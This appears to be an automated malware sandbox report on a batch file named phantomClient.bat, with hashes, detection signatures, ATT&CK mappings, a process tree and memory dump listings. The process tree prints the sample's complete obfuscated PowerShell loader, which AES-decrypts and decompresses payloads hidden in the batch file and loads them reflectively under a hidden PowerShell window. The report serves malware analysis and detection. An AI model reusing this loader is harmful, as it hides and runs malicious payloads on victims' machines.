f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590

General

Target

phantomClient.bat
Size

278KB
MD5

c7f70f6597b99690acab02390af9a913
SHA1

ec989e5b37d4d9bf56d9b330ed97826313ae3255
SHA256

f07d66adf106785f59920963b5c928dfd5a16774ab476f262135bc3c2cd58590
SHA512

991f4c36731dea73455da9a81185af01fb54cda915b5632edbc3f2251648745e47fd09b21d6548dcae170b1bfcf470b89f311cefc6733013be23667b31ae036b
SSDEEP

6144:3LDqmpofOLfpSCTvwLEbxm1/zGfAaWK6NY8M2PZaNSRw4ia:bDqmpofOLfh73KqltvChaivL

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2984	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2984	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1300 wrote to memory of 2348	1300	cmd.exe	31
PID 1300 wrote to memory of 2348	1300	cmd.exe	31
PID 1300 wrote to memory of 2348	1300	cmd.exe	31
PID 2348 wrote to memory of 2352	2348	net.exe	32
PID 2348 wrote to memory of 2352	2348	net.exe	32
PID 2348 wrote to memory of 2352	2348	net.exe	32
PID 1300 wrote to memory of 1684	1300	cmd.exe	33
PID 1300 wrote to memory of 1684	1300	cmd.exe	33
PID 1300 wrote to memory of 1684	1300	cmd.exe	33
PID 1300 wrote to memory of 2984	1300	cmd.exe	34
PID 1300 wrote to memory of 2984	1300	cmd.exe	34
PID 1300 wrote to memory of 2984	1300	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\phantomClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1300
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a6/Dz0sQgg0AXxVY9QgYlHPhkoWXKtsBNvv5q5mWBz0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XHnjn+k0TpEqrCKjUcNHHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpFJb=New-Object System.IO.MemoryStream(,$param_var); $aolNn=New-Object System.IO.MemoryStream; $iXSFF=New-Object System.IO.Compression.GZipStream($HpFJb, [IO.Compression.CompressionMode]::Decompress); $iXSFF.CopyTo($aolNn); $iXSFF.Dispose(); $HpFJb.Dispose(); $aolNn.Dispose(); $aolNn.ToArray();}function execute_function($param_var,$param2_var){ $joNGZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XpYvB=$joNGZ.EntryPoint; $XpYvB.Invoke($null, $param2_var);}$DxRwH = 'C:\Users\Admin\AppData\Local\Temp\phantomClient.bat';$host.UI.RawUI.WindowTitle = $DxRwH;$NGRKp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DxRwH).Split([Environment]::NewLine);foreach ($lDbVo in $NGRKp) { if ($lDbVo.StartsWith('aTooeqEeiEcbowJqPEvQ')) { $AbfNn=$lDbVo.Substring(20); break; }}$payloads_var=[string[]]$AbfNn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2984-10-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-9-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-8-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-7-0x0000000001ED0000-0x0000000001ED8000-memory.dmp

Filesize
32KB

Download
memory/2984-6-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-5-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/2984-4-0x000007FEF595E000-0x000007FEF595F000-memory.dmp

Filesize
4KB

Download
memory/2984-11-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-12-0x000007FEF595E000-0x000007FEF595F000-memory.dmp

Filesize
4KB

Download
memory/2984-13-0x000007FEF56A0000-0x000007FEF603D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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